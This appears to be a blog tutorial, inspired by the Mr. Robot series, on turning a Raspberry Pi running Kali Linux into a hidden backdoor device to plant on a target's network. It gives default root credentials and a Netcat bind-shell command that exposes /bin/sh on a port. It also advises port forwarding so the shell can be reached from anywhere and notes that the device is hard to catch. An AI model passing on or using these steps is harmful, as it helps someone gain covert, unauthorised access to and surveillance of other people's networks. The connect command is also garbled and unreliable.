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Mr. Robot – Making a Backdoor Raspberry Pi Chip!

Raspberry Pi is the World’s Cheapest Computer Chip ever made. It’s famous all around the globe due to its cheap cost and performance, and you must be familiar with Mr. Robot USA Network Series, where he planted that Raspberry Pi Evil Corp cooperates to take down their Backups.

Let’s find out who is Mr. Robot?

Mr. Robot White-Hat in Cyber Security Company and Black-Hat (severe social anxiety and nasty morphine habit) He worked on Evil Corp.

He protected their network, While when he came back home, he was a hacker for good! And meanwhile, he was recruited by a hacker organization known as #Fsociety, much similar to #Anonymous Making a difference of Mask. #Fsociety plans to take down Evil Corp, and Elliott Joins them.

Mr. Robot shows realistic hacking, not like other TV shows or movies that are more animated and have fewer hacks. But Mr. Robot changes the realm of Hacking TV shows and Movies and hit excellent ratings on USA Network.

In episode 4 (“eps1.3__da3m0ns.mp4“), Elliott, the main character, plans to plant a Raspberry Pi in Evil Corp to get access to their network and shut down their backup storage room heating system!

Let’s get started!

Step 1: Download Kali Linux

After buying Raspberry pi, you need an Operating system for Raspberry pi to control. Right now, we’ll boot the Kali Linux ARM version for it, which is much lighter and more efficient than others. Kali’s Operating system must be compiled specifically for your Raspberry Pi.

Step 2: USB Disk Imager

After Downloading your Operating System ISO file, you have to write the ISO image on your SD Card. You can use any tool you want to create a bootable image for the Operating system.

Step 3: Ready Raspberry for Action!

After the Disk image is successful, let’s make your Raspberry Pi for some action! Insert the SD card into your Raspberry Pi slot and boot it up. After loading and boot screen, it may ask you for your username and password.

Username: root
Password: toor

After that type: startx

Let’s make it ready for action, and you are prepared to place it anywhere you want to perform an attack. For connecting to our Raspberry Pi, we need to set up a Backdoor like Netcat or SSH; there are many choices, but for now, we’ll use NC (Netcat).

Raspberry Pi is a size credit card you can place wherever you want and connect to it via a wireless network and connect to your Network via SSH or Netcat. Just like in that picture, it is sometimes hard to get caught.

This could be used for Surveillance!

Let’s connect and start Netcat listener Type: nc -l -p6996 -e /bin/sh

This will start listing on the 6996 port and you can connect to your port from anywhere you want.

Connect to your Port Type: nc 6996

If the port didn’t start working on WAN you must check out Port forwarding otherwise netcat won’t connect you to your Raspberry Pi.

Note: This tutorial is for educational purposes only! Hope you like it!

If you have any questions leave them in the comments!

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